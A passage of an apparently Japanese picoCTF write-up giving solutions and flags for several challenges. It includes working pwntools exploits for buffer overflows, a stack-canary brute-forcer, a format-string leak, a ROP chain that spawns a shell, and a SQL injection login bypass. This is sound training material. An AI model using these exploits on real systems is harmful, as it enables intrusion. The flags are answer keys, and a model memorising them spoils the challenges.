        if(s.charAt(28) != 'c')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(27) != '8')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(26) != '3')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(25) != '7')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(24) != '_')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(23) != 'd')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(22) != '3')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(21) != 'r')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(20) != '1')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(19) != 'u')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(18) != 'q')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(17) != '3')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(16) != 'r')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(15) != '_')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(14) != 'g')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(13) != 'n')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(12) != '1')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(11) != 'l')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(10) != '0')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(9) != '0')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(8) != '7')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(7) != '{')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(6) != 'F')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(5) != 'T')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(4) != 'C')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(3) != 'o')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(2) != 'c')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(1) != 'i')
        {
            System.out.println("Invalid key");
            return;
        }
        if(s.charAt(0) != 'p')
        {
            System.out.println("Invalid key");
            return;
        } else
        {
            System.out.println("Valid key");
            return;
        }
    }
}

if文中にflagが1文字ずつ見える。

picoCTF{700l1ng_r3qu1r3d_738cac89}

Roboto Sans (Web Exploitation / 200point)

The flag is somewhere on this web application not necessarily on the website. Find it.

Check this out.

特に違和感のないWebサイトが与えられる。タイトルのヒント通り、/robots.txtを見てみる。

User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/

anMvbXlmaWxlLnR4dA==をbase64デコードするとjs/myfile.txtになる。該当ファイルを見に行くとflag入手。

picoCTF{Who_D03sN7_L1k5_90B0T5_718c9043}

RPS (Binary Exploitation / 200point)

Here's a program that plays rock, paper, scissors against you. I hear something good happens if you win 5 times in a row.

Connect to the program with netcat:$ nc saturn.picoctf.net 51420

The program's source code with the flag redacted can be downloaded here.

じゃんけんに5連勝するとflagを教えてもらえる。rock paper scissorsを選んでランダムに選ばれる手に勝つ必要があるが、勝敗を判定している部分の関数は以下の通り。


  if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
  } else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
  }

strstr関数は第一引数から第二引数を検索する関数で、一致しているかどうかを判定しているわけではない。よってrock/paper/scissorsを全部入力すると必ずパスすることができる。

solve

picoCTF{50M3_3X7R3M3_1UCK_58F0F41B}

Secrets (Web Exploitation / 200point)

Morse code is well known. Can you decrypt this?

Download the file here.

Wrap your answer with picoCTF{}, put underscores in place of pauses, and use all lowercase.

ディレクトリトラバーサル問題。

picoCTF{succ3ss_@h3n1c@10n_39849bcf}

Sleuthkit Apprentice (Forensics / disk / 200point)

Download this disk image and find the flag.

Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

Download compressed disk image

Linuxが含まれるディスクイメージが配布される。FTK Imagerで読み込んでpicoCTFで全体からFindするとflagが見つかる。

picoCTF{by73_5urf3r_3497ae6b}

SQL Direct (Web Exploitation / sql / 200point)

Connect to this PostgreSQL server and find the flag!

psql -h saturn.picoctf.net -p 59763 -U postgres pico

Password is postgres

SQLサーバーに接続してテーブル表示及びテーブルの中身を表示させるコマンドを打つだけ。

solve

picoCTF{L3arN_S0m3_5qL_t0d4Y_31fd14c0}

x-sixty-what (Binary Exploitation / x64 / 200point)

Overflow x64 code

Most problems before this are 32-bit x86. Now we'll consider 64-bit x86 which is a little different! Overflow the buffer and change the return address to the flag function in this program. Download source. nc saturn.picoctf.net 63901

x64のBOF問題。vuln.cのコードは以下の通り。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
  vuln();
  return 0;
}

vuln関数でBOFを起こしてflag関数に飛べばよい。ただしflag関数の先頭ではなくちょっと下を狙う。

objdump -M intel -d vuln > disass.txtで逆アセンブル結果を出力、flag関数を読む。

0000000000401236 <flag>:
  401236:       f3 0f 1e fa             endbr64 
  40123a:       55                      push   rbp
  40123b:       48 89 e5                mov    rbp,rsp
  40123e:       48 83 ec 50             sub    rsp,0x50
  401242:       48 8d 35 bf 0d 00 00    lea    rsi,[rip+0xdbf]        # 402008 <_IO_stdin_used+0x8>
  401249:       48 8d 3d ba 0d 00 00    lea    rdi,[rip+0xdba]        # 40200a <_IO_stdin_used+0xa>
  401250:       e8 db fe ff ff          call   401130 <fopen@plt>
  401255:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  401259:       48 83 7d f8 00          cmp    QWORD PTR [rbp-0x8],0x0
  40125e:       75 29                   jne    401289 <flag+0x53>
  401260:       48 8d 15 ac 0d 00 00    lea    rdx,[rip+0xdac]        # 402013 <_IO_stdin_used+0x13>
  401267:       48 8d 35 ba 0d 00 00    lea    rsi,[rip+0xdba]        # 402028 <_IO_stdin_used+0x28>
  40126e:       48 8d 3d e8 0d 00 00    lea    rdi,[rip+0xde8]        # 40205d <_IO_stdin_used+0x5d>
  401275:       b8 00 00 00 00          mov    eax,0x0
  40127a:       e8 61 fe ff ff          call   4010e0 <printf@plt>
  40127f:       bf 00 00 00 00          mov    edi,0x0
  401284:       e8 b7 fe ff ff          call   401140 <exit@plt>
  401289:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
  40128d:       48 8d 45 b0             lea    rax,[rbp-0x50]
  401291:       be 40 00 00 00          mov    esi,0x40
  401296:       48 89 c7                mov    rdi,rax
  401299:       e8 52 fe ff ff          call   4010f0 <fgets@plt>
  40129e:       48 8d 45 b0             lea    rax,[rbp-0x50]
  4012a2:       48 89 c7                mov    rdi,rax
  4012a5:       b8 00 00 00 00          mov    eax,0x0
  4012aa:       e8 31 fe ff ff          call   4010e0 <printf@plt>
  4012af:       90                      nop
  4012b0:       c9                      leave  
  4012b1:       c3                      ret   

push rbpが終わった次の0x40123bに飛ばしたい。gdb-pedaでデバッグを行って適当な長い文字列を入れると72文字から先でvuln関数のret時のstackが上書きされる。

リターンアドレスが書き換わったところ

aaa....aaaa12345678と入れると12345678部分がリターンアドレスになっている。したがって次のPythonコードを作成。

from pwn import *

addr = 0x40123b


padding = b'a'*72
io = remote('saturn.picoctf.net',56862)
#io = process("./vuln")
io.recvuntil("Welcome to 64-bit. Give me a string that gets you the flag: ")
payload = padding + (addr).to_bytes(8, "little")
print(payload)
io.sendline(payload)
io.interactive()
solve

picoCTF{b1663r_15_b3773r_11c407bc}

Bbbbloat (Reverse Engineering / binary / obfuscation / 300point)

Can you get the flag?

Reverse engineer this binary.

Linux用実行ファイルbbbbloatが与えられる。実行するとWhat's my favorite number?で入力を求められ、値が違うとSorry, that's not it!で終了する。

objdump -M intel -d bbbbloat > disass.txtで逆アセンブル。またIDA freeでSorry, that's not it!への分岐部分を確認する。

IDA freeでの静的解析

___isoc99_scanfで標準入力を行ってからcmpでeaxと0x86187を比較して分岐させていることがわかる。

gdb-pedaで実行ファイルを開くが、start関数が存在せず逆アセンブルで手に入るアドレスをそのまま入力することはできない。適当なブレークポイントを張ってrunでプログラムを途中終了させ、i proc mapでメモリマップを確認。

gdbでのメモリマップの表示

開始アドレスが0x555555554000とわかったので、cmp部分のアドレスと足して目標のアドレスを作る。

    14cb:       3d 87 61 08 00          cmp    eax,0x86187

gdb-pedaで0x5555555554cbにブレークポイントを設定してrun、入力は適当な値を入れる。

gdbで分岐部分を確認

cmp部分に到着、スタックに暗号化されたflagと思わしき文字列が見える。このまま実行するとSorryに進むが、レジスタを書き換えて分岐先を変更してみる。

set $eax=0x86187でeaxを書き換えてプログラム再開。

solve

picoCTF{cu7_7h3_bl047_36dd316a}

buffer overflow 2 (Binary Exploitation / gets / arguments_on_the_stack / 300point)

Control the return address and arguments

This time you'll need to control the arguments to the function you return to! Can you get the flag from this program?

You can view source here. And connect with it using nc saturn.picoctf.net 56833

x86のLinux用実行ファイルに対するBOF問題。ソースコードを確認する。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

vuln関数でBOFを起こしてリターンアドレスをwin関数に書き換えるが、さらにwin関数に2つの引数を与える必要がある。

objdump -M intel -d bbbbloat > disass.txtで逆アセンブルして、vuln関数のアドレスを確認する。gdb-pedaでvulnを開き、vuln関数のretの部分にブレークポイントを張ってリターンアドレスを書き換えられる位置を探す。

リターンアドレスが書き換わったところ

任意の文字を112文字入力してからアドレスを入力すればリターンアドレスを変更できることがわかる。引数はさらに下のスタックに積んでいけばいいので、(112文字) + [winのアドレス] + [引数1] + [引数2]の構成で引数を与えられると考えてgdb上で試してみる。

gdb上でASCIIコード以外の文字を渡すときには次のようにrunさせる。

run < <(python -c 'import os; os.write(1,b"A"*112+b"\x9a\x92\x04\x08\x0d\xf0\x0d\xf0\x0d\xf0\xfe\xca");')
引数を与える実験

ret時点で[winのアドレス] + [引数1] + [引数2]を積むことができた。しかしwin関数を実行させていくとどうやら引数がズレており、次のように修正する必要があった。

(112文字) + [winのアドレス] + [適当な4文字] + [引数1] + [引数2]

gdbで次を実行するとflagを表示させる部分まで進めることができる。

run < <(python -c 'import os; os.write(1,b"A"*112+b"\x96\x92\x04\x08\x00\x00\x00\x00\r\xf0\xfe\xca\r\xf0\r\xf0");')

これをサーバーに対して行うPythonコードを書いた。

from pwn import *

addr = 0x8049296
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D

padding = b'a'*112
io = remote('saturn.picoctf.net',59727)
#io = process("./vuln")
io.recvuntil("Please enter your string: ")
payload = padding + addr.to_bytes(4, "little") + b'\x00'*4 + arg1.to_bytes(4, "little") + arg2.to_bytes(4, "little")
print(payload)
io.sendline(payload)
io.interactive()

実行するとflagを入手。

picoCTF{argum3nt5_4_d4yZ_b3fd8f66}

buffer overflow 3 (Binary Exploitation / canary / 300point)

Do you think you can bypass the protection and get the flag?

It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using:nc saturn.picoctf.net 53160

BOFがcanaryで対策されている問題。実は昔のpicoCTFのCanaRyとほぼ一緒。ソースコードは次の通り。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      exit(-1);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

試しに長い文字列を打ち込んでBOFさせてみると、ブロックされることがわかる。

canaryによってBOFが検出される部分

BUFSIZEが64なので、65文字入力するとstackを上書きしてcanaryに引っかかる。

canaryはcanary.txtから読み込まれる固定された4文字だが、ここではcanaryを1文字だけ上書きしたはずなので、64文字+任意の1文字を変更しながらブルートフォース可能。1文字特定したら文字数を増やして試行を繰り返して4文字全てを特定するPythonコードを書いた。

from pwn import *
import string

canary = b''
strs =  string.printable

for i in range(4):
        for j in strs:
                io = remote('saturn.picoctf.net',63019)
                #io = process("./vuln")
                io.recvuntil("> ")
                io.sendline(str(65+i).encode())
                io.recvuntil("> ")
                payload = b'a'*64 + canary + j.encode()
                print(canary + j.encode())
                io.sendline(payload)
                msg = io.recvline()
                io.close()
                if len(msg)<32:
                        print(msg)
                        canary += j.encode()
                        break

print(canary)

しばらく待つとcanary4文字がBiRdであることがわかる。あとはwin関数に飛ばすだけ。gdb-pedaでvulnを開き、[64文字]+[BiRd]+[適当な文字数]でリターンアドレスが上書きされる位置を探す。

リターンアドレスが書き換わる位置の特定

合計88文字でリターンアドレスが4文字に書き換わった。objdump -M intel -d vuln > disass.txtで逆アセンブルして、vuln関数のアドレスを確認して、以下のsolverを作成。

from pwn import *

addr = 0x8049336
canary = b"BiRd"

io = remote('saturn.picoctf.net',63019)
#io = process("./vuln")
payload = b'a'*64 + canary + b'a'*16 + addr.to_bytes(4, "little")
io.recvuntil("> ")
io.sendline(str(len(payload)).encode())
io.recvuntil("> ")
print(payload)
io.sendline(payload)
io.interactive()

実行するとflag入手。

solve

picoCTF{Stat1C_c4n4r13s_4R3_b4D_f9792127}

Eavesdrop (Forensics / pcap / 300point)

Download this packet capture and find the flag.

Download packet capture

パケットキャプチャファイルが配布される。TCPストリームを追跡すると以下の会話が見つかる。ファイル転送を行っているようだ。

Hey, how do you decrypt this file again?
You're serious?
Yeah, I'm serious
*sigh* openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123
Ok, great, thanks.
Let's use Discord next time, it's more secure.
C'mon, no one knows we use this program like this!
Whatever.
Hey.
Yeah?
Could you transfer the file to me again?
Oh great. Ok, over 9002?
Yeah, listening.
Sent it
Got it.
You're unbelievable

転送されているファイルは以下のTCPストリームのようだ。暗号化されたデータの特徴としてSalted__が目印。

暗号化された通信データ

このファイルを file.des3 として保存して、会話中にある復号コマンドをそのまま投げるだけ。

openssl des3 -d -salt -in file.des3 -out file.txt -k supersecretpassword123

file.txtが復号されてflagが手に入る。

picoCTF{nc_73115_411_5786acc3}

flag leak (Binary Exploitation / format_string / 300point)

Story telling class 1/2

I'm just copying and pasting with this program. What can go wrong? You can view source here. And connect with it using:nc saturn.picoctf.net 59276

ジャンルからしてFormatStringAttack問題だろう。配布されるソースコードを確認する。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

vuln関数ではflagを読み込んだあとで任意の入力を受け付けている。入力データをそのままprintfで吐き出しているのでFormatStringAttackでメモリー上のflagを読む。適当に%p%p%p....をたくさん並べたものを入力してメモリ内のデータをリークさせる。

メモリー内容をリークさせた様子

メモリ内のデータが出てくるので、この中にflagが含まれるかバイト列に変換してみる。以下のPythonコードで変換。

data = [0xffb6fbf0,0xffb6fc10,0x8049346,0x70257025,0x70257025,0x70257025,0x70257025,
0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,
0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,
0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,
0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0x70257025,0xf7e2ea00,
0x6f636970,0x7b465443,0x6b34334c,0x5f676e31,0x67346c46,0x6666305f,0x3474535f,0x305f6b63,0x30313535,0x7d633238,0xfbad2000,0x3b9df500,0xf7fe5990,0x804c000,
0x8049410,0x804c000,0xffb6fcd8,0x8049418,0x2,0xffb6fd84,0xffb6fd90,0xffb6fcf0]


strs = b"";
for i in data:
        strs += i.to_bytes(4, "little")
print(strs)

実行するとflagが見える。

solve

picoCTF{L34k1ng_Fl4g_0ff_St4ck_0551082c}

ropfu (Binary Exploitation / ROP / 300point)

What's ROP?

Can you exploit the following program to get the flag? Download source.

nc saturn.picoctf.net 56633

その名の通りROP問。実行ファイルとソースコードが配布される。ソースコードを確認する。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

flagを出す関数がないのでshellを取る必要がある。実行ファイルは693KBの大きめのバイナリで、ROPに使える豊富なコードは含まれてそうである。

ROPgadget Tool( https://github.com/JonathanSalwan/ROPgadget )を使い、コマンド:ROPgadget --binary vuln --ropchainでropchainを自動的に作らせる。

- Step 5 -- Build the ROP chain

        #!/usr/bin/env python2
        # execve generated by ROPgadget

        from struct import pack

        # Padding goes here
        p = ''

        p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
        p += pack('<I', 0x080e5060) # @ .data
        p += pack('<I', 0x41414141) # padding
        p += pack('<I', 0x080b074a) # pop eax ; ret
        p += '/bin'
        p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
        p += pack('<I', 0x080e5064) # @ .data + 4
        p += pack('<I', 0x41414141) # padding
        p += pack('<I', 0x080b074a) # pop eax ; ret
        p += '//sh'
        p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
        p += pack('<I', 0x080e5068) # @ .data + 8
        p += pack('<I', 0x41414141) # padding
        p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
        p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
        p += pack('<I', 0x08049022) # pop ebx ; ret
        p += pack('<I', 0x080e5060) # @ .data
        p += pack('<I', 0x08049e39) # pop ecx ; ret
        p += pack('<I', 0x080e5068) # @ .data + 8
        p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
        p += pack('<I', 0x080e5068) # @ .data + 8
        p += pack('<I', 0x080e5060) # padding without overwrite ebx
        p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0808055e) # inc eax ; ret
        p += pack('<I', 0x0804a3d2) # int 0x80

続いてgdb-pedaを起動して、BOFでリターンアドレスを書き換えられる文字数を決定する。これは適当に試行して28文字であることがわかった。したがって、[28文字]+[ropchain]を入力すればshellを取ることができる。次のPythonコードを作成。

from pwn import *
from struct import pack

# Padding goes here
p = b'a'*28

p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80

io = remote('saturn.picoctf.net',53590)
#io = process("./vuln")
io.recvline()
io.sendline(p)
io.interactive()

実行するとshellを取ることができ、flag.txtを表示させてflag入手。

solve

picoCTF{5n47ch_7h3_5h311_e81af635}

SQLiLite (Web Exploitation / sql / 300point)

Can you login to this website?

Try to login here.

シンプルなSQLインジェクション問題。ログインページが与えられるので以下のような入力などでログインできる。

username:admin'--
password:hoge

クエリは以下のようになっているようだ。

username: admin'--
password: hoge
SQL query: SELECT * FROM users WHERE name='admin'--' AND password='hoge'

HTMLソースを読むとflagが書かれている。

<pre>username: admin&#039;--
password: kk
SQL query: SELECT * FROM users WHERE name=&#039;admin&#039;--&#039; AND password=&#039;kk&#039;
</pre><h1>Logged in! But can you see the flag, it is in plainsight.</h1><p hidden>Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}</p>

picoCTF{L00k5_l1k3_y0u_solv3d_it_9b0a4e21}

St3g0 (Forensics / steganography / 300point)

Download this image and find the flag.

Download image

ステガノグラフィー問題。実質ヒントゲー。ヒントを読むとWe know the end sequence of the message will be $t3g0.と書かれており、$t3g0に対応するステガノツールを探す。

LSB Image Steganography Using Python ( https://medium.com/swlh/lsb-image-steganography-using-python-2bbbee2c69a2 ) が引っかかったので、説明に従いDecode関数を用意する。

import numpy as np
from PIL import Image

def Decode(src):

    img = Image.open(src, 'r')
    array = np.array(list(img.getdata()))

    if img.mode == 'RGB':
        n = 3
    elif img.mode == 'RGBA':
        n = 4
    total_pixels = array.size//n

    hidden_bits = ""
    for p in range(total_pixels):
        for q in range(0, 3):
            hidden_bits += (bin(array[p][q])[2:][-1])

    hidden_bits = [hidden_bits[i:i+8] for i in range(0, len(hidden_bits), 8)]

    message = ""
    for i in range(len(hidden_bits)):
        if message[-5:] == "$t3g0":
            break
        else:
            message += chr(int(hidden_bits[i], 2))
    if "$t3g0" in message:
        print("Hidden Message:", message[:-5])
    else:
        print("No Hidden Message Found")

Decode("pico.flag.png")

実行するとflag入手。

picoCTF{7h3r3_15_n0_5p00n_96ae0ac1}

unpackme (Reverse Engineering / binary / packed / 300point)

Can you get the flag?

Reverse engineer this binary.

UPXでpackされたバイナリを解析する問題。まずはUPXでアンパックしてあげる。

UPXによるアンパック

Linuxで実行するとWhat's my favorite number?と聞いてくるので、Bbbbloat(300points)と似たようなコードだと予想してIDA freeで該当部分を読む。

IDA freeによる分岐部分の状態

main関数の該当部分ではやはり条件分岐している。Bbbbloat(300points)と同じ様に解ける。gdb-pedaでバイナリを開き、cmp命令の0x401ef8にブレークポイントを張る。

cmp命令まで進んだらcmp eax,0xb83cbを満たすように、eaxの値をset $eax=0xb83cbで書き換えてContinue。

solve

picoCTF{up><_m3_f7w_77ad107e}

Very Smooth (Cryptography / backdoor / rsa / 300point)

Forget safe primes... Here, we like to live life dangerously... >:)

gen.py

output.txt

特殊な方法でpとqが生成されたRSA暗号の出力を解読する問題。暗号化に使われたPythonスクリプトは以下の通り。

#!/usr/bin/python

from binascii import hexlify
from gmpy2 import *
import math
import os
import sys

if sys.version_info < (3, 9):
    math.gcd = gcd
    math.lcm = lcm

_DEBUG = False

FLAG  = open('flag.txt').read().strip()
FLAG  = mpz(hexlify(FLAG.encode()), 16)
SEED  = mpz(hexlify(os.urandom(32)).decode(), 16)
STATE = random_state(SEED)

def get_prime(state, bits):
    return next_prime(mpz_urandomb(state, bits) | (1 << (bits - 1)))

def get_smooth_prime(state, bits, smoothness=16):
    p = mpz(2)
    p_factors = [p]
    while p.bit_length() < bits - 2 * smoothness:
        factor = get_prime(state, smoothness)
        p_factors.append(factor)
        p *= factor

    bitcnt = (bits - p.bit_length()) // 2

    while True:
        prime1 = get_prime(state, bitcnt)
        prime2 = get_prime(state, bitcnt)
        tmpp = p * prime1 * prime2
        if tmpp.bit_length() < bits:
            bitcnt += 1
            continue
        if tmpp.bit_length() > bits:
            bitcnt -= 1
            continue
        if is_prime(tmpp + 1):
            p_factors.append(prime1)
            p_factors.append(prime2)
            p = tmpp + 1
            break

    p_factors.sort()

    return (p, p_factors)

e = 0x10001

while True:
    p, p_factors = get_smooth_prime(STATE, 1024, 16)
    if len(p_factors) != len(set(p_factors)):
        continue
    # Smoothness should be different or some might encounter issues.
    q, q_factors = get_smooth_prime(STATE, 1024, 17)
    if len(q_factors) != len(set(q_factors)):
        continue
    factors = p_factors + q_factors
    if e not in factors:
        break

if _DEBUG:
    import sys
    sys.stderr.write(f'p = {p.digits(16)}\n\n')
    sys.stderr.write(f'p_factors = [\n')
    for factor in p_factors:
        sys.stderr.write(f'    {factor.digits(16)},\n')
    sys.stderr.write(f']\n\n')

    sys.stderr.write(f'q = {q.digits(16)}\n\n')
    sys.stderr.write(f'q_factors = [\n')
    for factor in q_factors:
        sys.stderr.write(f'    {factor.digits(16)},\n')
    sys.stderr.write(f']\n\n')

n = p * q

m = math.lcm(p - 1, q - 1)
d = pow(e, -1, m)

c = pow(FLAG, e, n)

print(f'n = {n.digits(16)}')
print(f'c = {c.digits(16)}')

p,qの生成方法を調べると、p-1,q-1が小さな因数を大量に持つように作られている。

